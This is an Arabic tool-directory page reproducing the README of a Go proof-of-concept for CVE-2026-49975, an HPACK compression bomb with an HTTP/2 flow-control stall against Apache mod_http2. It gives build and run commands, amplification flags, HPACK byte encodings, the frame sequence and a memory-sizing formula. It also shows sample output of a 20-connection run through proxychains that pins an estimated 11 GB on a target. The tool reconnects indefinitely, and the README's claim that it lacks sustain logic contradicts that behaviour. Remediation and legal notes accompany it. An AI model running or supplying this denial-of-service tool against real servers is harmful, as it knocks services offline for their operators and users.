Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2026-49975 — أداة بحث أمني لإثبات المفهوم لـ CVE-2026-49975: قنبلة ضغط HPACK في HTTP/2 + هجوم حجب التحكم في التدفق (DoS) في Apache mod_http2 | Kitploit
أدوات/GitHubGitHub/naheeju/poc-cve-2026-49975
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكات
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

أداة بحث أمني لإثبات المفهوم لـ CVE-2026-49975: قنبلة ضغط HPACK في HTTP/2 + هجوم حجب التحكم في التدفق (DoS) في Apache mod_http2

عرض المستودع
منذ 7س 37دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Go Version Status Scope CVSS License

CVE-2026-49975

قنبلة HTTP/2 — إثبات مفهوم قنبلة ضغط HPACK + تعليق التحكم في التدفق

إثبات مفهوم بحث أمني بواسطة naheeju


⚠️ هذه أداة عمل حقيقية لاستنزاف الذاكرة (DoS) — وليست لعبة. تفتح تدفقات تُجبر الهدف على تخصيص ذاكرة وتبقيها مفتوحة عبر حيل التحكم في التدفق في HTTP/2. طالما أن العملية قيد التشغيل، فإنها تستمر في التعليق وتعيد الاتصال تلقائيًا إذا أسقط الخادم الاتصال — ولا تتوقف من تلقاء نفسها. يتناسب التأثير طرديًا مع --threads و--streams و. إيقاف العملية (Ctrl+C) يحرر التدفقات المعلقة ويسمح للخادم بالتعافي، لكن لا شيء في التشغيل الافتراضي "لطيف" — تعامل مع كل تشغيل كاختبار حي.

--headers

1. نظرة عامة

CVE-2026-49975 ("قنبلة HTTP/2") هي ثغرة حجب خدمة (Denial-of-Service) عن بُعد وبدون مصادقة تؤثر على وحدة mod_http2 في خادم Apache HTTP. وهي تسلسل نقطتي ضعف معروفتين منذ زمن طويل في HTTP/2:

  1. قنبلة محاسبة HPACK — طلب HTTP/2 صغير مُرمَّز بـ HPACK يتسبب في دمج عدة أجزاء من ترويسة Cookie دون احتسابها ضمن LimitRequestFields، مما يُجبر الخادم على تخصيص الذاكرة بشكل متكرر لهياكل المحاسبة الداخلية للترويسات.
  2. تعطيل التحكم في التدفق (بأسلوب Slowloris) — يُعلن العميل عن نافذة تحكم في التدفق قريبة من الصفر، مما يؤخر إرسال الاستجابة ويُبقي التدفق (أو التدفقات) المتأثرة مفتوحة، وهو ما يمنع تحرير الذاكرة المخصصة.

النتيجة: يمكن لعميل واحد على اتصال متواضع أن يُجبر الهدف على تخصيص ذاكرة كبير ومستمر طالما بقي التدفق مفتوحًا. يدعم هذا التنفيذ وضعين للحمولة ويتوسع خطيًا مع التزامن الذي تُهيّئه:

  • وضع nginx — يزرع ترويسة x-bomb فارغة في الجدول الديناميكي لـ HPACK ويعيد الإشارة إليها بشكل متكرر (تضخيم بنسبة ~70:1 لكل إشارة).
  • وضع classic — يزرع ترويسة cookie ضخمة الحجم بدلاً من ذلك (تضخيم بنسبة ~4000:1 لكل إشارة).

كل اتصال يعيد الإشارة إلى الترويسة المزروعة آلاف المرات لكل تدفق (--headers، الافتراضي 5000)، عبر تدفقات متعددة لكل اتصال (--streams، الافتراضي 10) واتصالات متوازية متعددة (--threads، الافتراضي 1). إذا أغلق الخادم اتصالاً، فإن الأداة تعيد الاتصال فورًا وتستمر حتى يتم إيقافها يدويًا — هذه حلقة تعليق مستمر، وليست فحصًا لمرة واحدة.

معرّفات ذات صلة لمنصات أخرى متأثرة (غير منفذة أو مختبرة في هذا المستودع):

  • Envoy → CVE-2026-47774
  • Microsoft IIS، Cloudflare Pingora → متتبعة بشكل منفصل، لا يوجد CVE مُشار إليه هنا

النطاق الكامل لفئة الضعف الأساسية، من باب الاستيفاء — تقنية "قنبلة HTTP/2" (قنبلة ضغط HPACK + تعليق التحكم في التدفق) تؤثر على عدة تطبيقات خوادم إلى جانب Apache. هذا المستودع ينفذ ويختبر حالة Apache فقط؛ أما الباقي فمُدرج حتى يفهم القارئ الفئة الأوسع، وليس لأن هذا الإثبات يمارسها:

التنفيذالحالةمنفذ في هذا الإثبات؟
Apache HTTP Server mod_http2مُصلح في httpd 2.4.68 (2026-06-08)نعم — هذا المستودع
nginxمُصلح في 1.29.8لا
Envoyمتتبع بشكل منفصللا
Microsoft IISمتتبع بشكل منفصللا
Cloudflare Pingoraمتتبع بشكل منفصللا
CVECVE-2026-49975
CWECWE-789 (تخصيص ذاكرة بقيمة حجم مفرطة، وفقًا لـ NVD/CVE.org)؛ يُتتبع أيضًا كـ CWE-409 (معالجة غير صحيحة للبيانات عالية الضغط) من قبل بعض الموردين
CVSS7.5 (مرتفع) — CVSS v3.1، متجه يخص التوافر فقط (وفقًا لـ NVD). تقييم Apache نفسه يصنفه كمعتدل.
المكوّن المتأثرApache HTTP Server mod_http2
الإصدارات المعرضة للخطرApache httpd 2.4.17 ≤ الإصدار ≤ 2.4.67 (إعداد HTTP/2 الافتراضي)
مُصلح فيApache HTTP Server 2.4.68 (صدر في 2026-06-08). الإصلاح الأساسي وصل إلى المنبع في mod_h2 في 2026-05-27، ودُمج في فرع httpd 2.4.x في 2026-06-02، وشُحن في إصدار 2.4.68.
نوع الهجومحجب الخدمة — استنزاف الذاكرة (التوافر فقط)
يتطلب مصادقةلا
كشف البيانات / تنفيذ كود عن بُعدلا شيء — التأثير على التوافر فقط
استُغلّ فعليًاغير مُصنّف حاليًا كـ مُستغل معروف في البرية من قبل المصادر المتتبعة.

المراجع (المصادر الأولية — تحقق من جميع الادعاءات بشكل مستقل):

  • سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • مدخل NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • إشعار Apache / قائمة الثغرات: https://httpd.apache.org/security/vulnerabilities_24.html
  • سجل تغييرات Apache 2.4.68 (مرجع إصلاح الالتزام): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • المقال الأصلي للاكتشاف: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. نطاق هذا المستودع

يحتوي هذا المستودع على:

  • سكربت إثبات مفهوم بسيط يعيد إنتاج سلوك قنبلة HPACK الخاصة بالتعليق فقط ضد هدف مصرّح لك باختباره.
  • هذا الملف README، الذي يوثق الثغرة والجدول الزمني للإفصاح وشروط الاستخدام الآمن.

هذا المستودع لا يحتوي على:

  • أي أتمتة لمسح الإنترنت بحثًا عن مضيفين معرضين للخطر.
  • أي منطق إغراق/استدامة DoS، أو تصعيد التزامن، أو قوائم بيانات اعتماد/أهداف.
  • أي كود يستهدف نظامًا حيًا محددًا بشكل افتراضي. يجب أن يُقدّم الهدف صراحةً من قبل المشغّل.

3. ⚖️ إشعار قانوني وأخلاقي

اقرأ هذا قبل فعل أي شيء آخر.

  • هذا الإثبات منشور بدقة لأغراض البحث الأمني التعليمي والدفاعي — لمساعدة المشغّلين على التحقق من تعرضهم الخاص ودعم السجل العام لثغرة سبق الإفصاح عنها وسبق إصلاحها.
  • يجب أن تمتلك تفويضًا صريحًا وموثقًا من مالك النظام قبل تشغيل هذا ضد أي هدف ليس بنيتك التحتية أو نظامًا مصرّحًا لك قانونيًا/تعاقديًا باختباره (مثل مهمة اختبار اختراق موقّعة، أو نطاق مكافأة الثغرات، أو إذن كتابي).
  • تشغيل هذا الإثبات ضد أنظمة لا تملكها أو لا تملك تفويضًا باختبارها — بما في ذلك على سبيل المثال لا الحصر الوكالات الحكومية، أو إنفاذ القانون، أو البنية التحتية الحيوية، أو أي نظام إنتاجي لطرف ثالث — بدون إذن غير قانوني في معظم الولايات القضائية (في إندونيسيا، يندرج هذا تحت UU ITE) وقد يُشكّل جريمة جنائية في أماكن أخرى.
  • مؤلف/مؤلفو هذا المستودع:
    • لا يتحملون أي مسؤولية عن إساءة استخدام هذا الكود.
    • لا يتغاضون عن استخدام هذا الإثبات لتعطيل أو إضعاف أو حجب الخدمة عن أي نظام بدون تفويض.
    • يقدمون هذا الكود كما هو، دون أي ضمان من أي نوع.
  • إذا كنت موردًا أو وكالة أو مشغّل نظام وجدت هذا المستودع لأن نظامك تم اختباره: راجع القسم 6 — الجدول الزمني للإفصاح لمعرفة كيف تم الإبلاغ عن هذا ولمن.

بتحميلك أو استنساخك أو تنفيذك أي كود في هذا المستودع، فإنك توافق على أنك المسؤول الوحيد عن ضمان حصولك على التفويض المناسب، وأنك تتحمل المسؤولية القانونية الكاملة عن استخدامك له.


4. طريقة الاستطلاع

CVE-2026-49975 ينطبق فقط على هدف يستوفي كلا المعيارين في القسم 1 — يمكن الوصول إليه عبر HTTP/2 و يشغّل إصدار mod_http2 معرضًا للخطر وضمن النطاق (2.4.17 ≤ الإصدار ≤ 2.4.67، الإعداد الافتراضي). أمر curl -vkI بسيط ضد منفذ HTTPS للهدف كافٍ للتحقق من كليهما — لا حاجة لماسح ضوئي أو أعلام إضافية:

root@kitploit:~
curl -vkI https://<target>

ما يجب البحث عنه في المخرجات:

  • ALPN: server accepted h2 — تفاوض الخادم على HTTP/2 لهذا الاتصال. هذا هو الشرط المسبق لـ CVE-2026-49975، لأن الخطأ يكمن في mod_http2؛ الخادم الذي لم يقبل h2 هنا ليس مرشحًا.
  • ترويسة استجابة Server (تظهر بمجرد طباعة ترويسات استجابة HEAD، في الأسفل ضمن مخرجات -v) — هذا ما يؤكد أو يستبعد إصدار Apache/mod_http2 الفعلي مقابل النطاق المعرض للخطر في القسم 1. قبول ALPN وحده لا يؤكد الإصدار — لا يزال ذلك يتطلب ترويسة Server أو فحص بانر مكافئ.

لا شيء يتجاوز هذا يُستخدم للاستطلاع في هذا المستودع — لا حركة استغلال نشطة، ولا ماسحات ثغرات، ولا مسح للمنافذ.


5. المتطلبات

  • بيئة التشغيل: Go 1.26+ (الوحدة: cve202649975)
  • الاعتماديات: golang.org/x/net v0.59.0 (تُحل تلقائيًا عبر go build)
  • الوصول للشبكة: إمكانية الوصول المباشر عبر TCP إلى الهدف المصرّح به على المنفذ المحدد (الافتراضي 443، TLS/h2 افتراضيًا؛ --no-ssl لـ h2c نصي صريح)
  • اختياري: proxychains4 — إذا تم تشغيل الملف التنفيذي تحت proxychains4، فإنه يكتشف غلاف LD_PRELOAD، ويقرأ نفس proxychains4.conf، ويوجّه اتصالاته الخاصة عبر وكيل SOCKS5 ذلك (حل DNS عن بُعد) — مفيد عندما يتطلب نطاق المهمة الاختبار من مسار خروج محدد
  • الأذونات: تفويض كتابي / خطاب مهمة للهدف الذي يتم اختباره

6. الجدول الزمني للإفصاح

الجدول الزمني العام لـ CVE-2026-49975 نفسه: أُبلغ إلى Apache في 2026-05-26؛ وصل الإصلاح إلى المنبع في mod_h2 في 2026-05-27؛ دُمج في فرع httpd 2.4.x في 2026-06-02؛ صدر Apache HTTP Server 2.4.68 في 2026-06-08.


7. الاستخدام

شغّل هذا فقط ضد هدف مصرّح لك صراحةً باختباره. لا يوجد حد مدة مدمج أو وضع آمن — أنت مسؤول عن مدة تشغيله ومستوى التزامنه.

البناء:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

التشغيل:

root@kitploit:~
./dos <target> <port> [flags]
العلمالافتراضيالوصف
--threads N1اتصالات متوازية
--streams N10التدفقات المفتوحة لكل اتصال
--headers N5000إشارات الجدول الديناميكي لـ HPACK لكل تدفق (محرك التضخيم)
--mode nginx|classicnginxnginx = قنبلة محاسبة ترويسة فارغة (~70:1)؛ classic = قنبلة كوكي ضخم (~4000:1، يطابق آلية دمج Cookie في Apache mod_http2 التي يُتتبع هذا الـ CVE من أجلها)
--no-sslمعطّلاستخدام h2c نصي صريح بدلاً من TLS

مثال، اختبار مختبري مصرّح به بسيط:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

السلوك المتوقع:

  • يطبع ملخصًا قبل التنفيذ (الهدف، الوضع، أعداد الاتصالات/التدفقات، الذاكرة المقدرة على جانب الخادم) قبل إرسال أي شيء.
  • يُبقي التدفقات مفتوحة عبر قطرات WINDOW_UPDATE بحجم 1 بايت ونبضات دورية؛ يعيد الاتصال تلقائيًا ويكرر إذا أغلق الخادم الاتصال.
  • يتوقف فقط عند إرسال Ctrl+C / SIGTERM — خطط نافذة اختبارك وفقًا لذلك وراقب ذاكرة الهدف في الوقت الفعلي.
  • موصى به: تحقق أولاً ضد بيئة اختبار/مختبر بإعدادات منخفضة لـ --streams/--headers قبل أي اختبار إنتاجي مصرّح به، وكن مستعدًا بخطة تراجع/إعادة تشغيل لخدمة الهدف على أي حال.

7a. تقدير ضغط الذاكرة (RAM)

صيغة تقريبية لذاكرة جانب الخادم لوضعي هذه الأداة (Apache mod_http2 فقط — راجع القسم 1 لمعرفة كيف يرتبط nginx/classic بنسبة التضخيم):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

ارفع threads/streams/headers وسينمو الرقم خطيًا — لهذا يجب أن يبدأ اختبار مختبري مصرّح به بقيم منخفضة (راجع القسم 7) قبل أي تشغيل في نطاق إنتاجي.


7b. التفاصيل التقنية

يوثق هذا الآلية التي ينفذها هذا الإثبات تحديدًا ضد Apache mod_http2 — ولا يمتد إلى تطبيقات خوادم أخرى، وهي خارج نطاق هذا المستودع (راجع القسم 2).

بذرة الجدول الديناميكي لـ HPACK (فهرسة تزايدية، تضيف مدخلاً عند الفهرس 62):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

إشارة مفهرسة إلى ذلك المدخل (بايت واحد لكل منها، مكررة --headers مرة):

root@kitploit:~
0x80 | 62 = 0xbe

تسلسل إطارات HTTP/2 لكل اتصال:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

تكلفة الشبكة صغيرة وثابتة تقريبًا لكل تدفق (حفنة بايتات للبذرة + بايت واحد لكل إشارة)؛ أما التخصيص على جانب الخادم فهو ما ينمو بشكل غير متناسب — تلك الفجوة هي الثغرة.


7c. مثال على المخرجات

مخرجات من تشغيل مختبري مصرّح به، وضع classic، 20 اتصالاً × 30 تدفقًا/اتصال، 5000 إشارة HPACK/تدفق، موجّه عبر proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

كل اتصال يُبلّغ بشكل مستقل عن مساهمته المحلية في الذاكرة أثناء فتح التدفقات (~572 ميجابايت لكل اتصال بهذه الإعدادات)؛ رقم Est. server RAM قبل التنفيذ هو الإجمالي عبر جميع الاتصالات العشرين (~11.4 جيجابايت) بمجرد أن يكون كل اتصال مفتوحًا بالكامل ومعلقًا.

domain.com أعلاه هو عنصر نائب — استبدله بهدفك المصرّح به الفعلي عند توثيق تشغيلك الخاص، واحجبه إذا كانت المهمة سرية.


8. المعالجة

  • Apache HTTP Server: قم بالترقية إلى httpd 2.4.68 أو أحدث (هذا هو الإصدار الذي يحتوي على الإصلاح).
  • إذا لم يكن التصحيح الفوري ممكنًا:
    • اضبط LimitRequestFields بقيمة متحفظة وراقب سلوك دمج الترويسات.
    • فكّر في تعطيل HTTP/2 على المستمع المتأثر حتى التصحيح.
    • ضع خدمة أمامية عبر وكيل عكسي/WAF يفرض حدًا صارمًا لعدد الترويسات.
  • أعد الاختبار بعد المعالجة للتأكد من أن سلوك التعليق والتحرير لم يعد يسبب نموًا مستمرًا في الذاكرة.

9. الشكر / الإسناد

الاكتشاف الأصلي للثغرة والإفصاح عنها لـ Apache (لا علاقة له بهذا المستودع أو مؤلفه):

  • Quang Luong، Calif.IO، بالتعاون مع OpenAI Codex
  • أُبلغ إلى مشروع Apache HTTP Server في 2026-05-26؛ نُشر سطر الشكر الرسمي في سجل تغييرات 2.4.68

هذا المستودع (إعادة تنفيذ بلغة Go، كُتب واختُبر بعد صدور الإصلاح العام):

  • المؤلف: naheeju
  • إثبات مفهوم مستقل بُني من الوصف العام للثغرة وفرق التصحيح، لأغراض التحقق/التعليم ضد أهداف مصرّح بها. غير مرتبط بالاكتشاف الأصلي أو Calif.IO أو فريق أمن Apache.

أسئلة أو تصحيحات أو مخاوف متعلقة بالإفصاح المسؤول حول هذا الإثبات تحديدًا: افتح issue على هذا المستودع.

الترخيص: MIT (كود هذا المستودع فقط — راجع LICENSE). لا يمتد إلى، ولا يعني تأييدًا من، المكتشفين الأصليين أو مؤسسة Apache Software Foundation.

تنزيل الأداة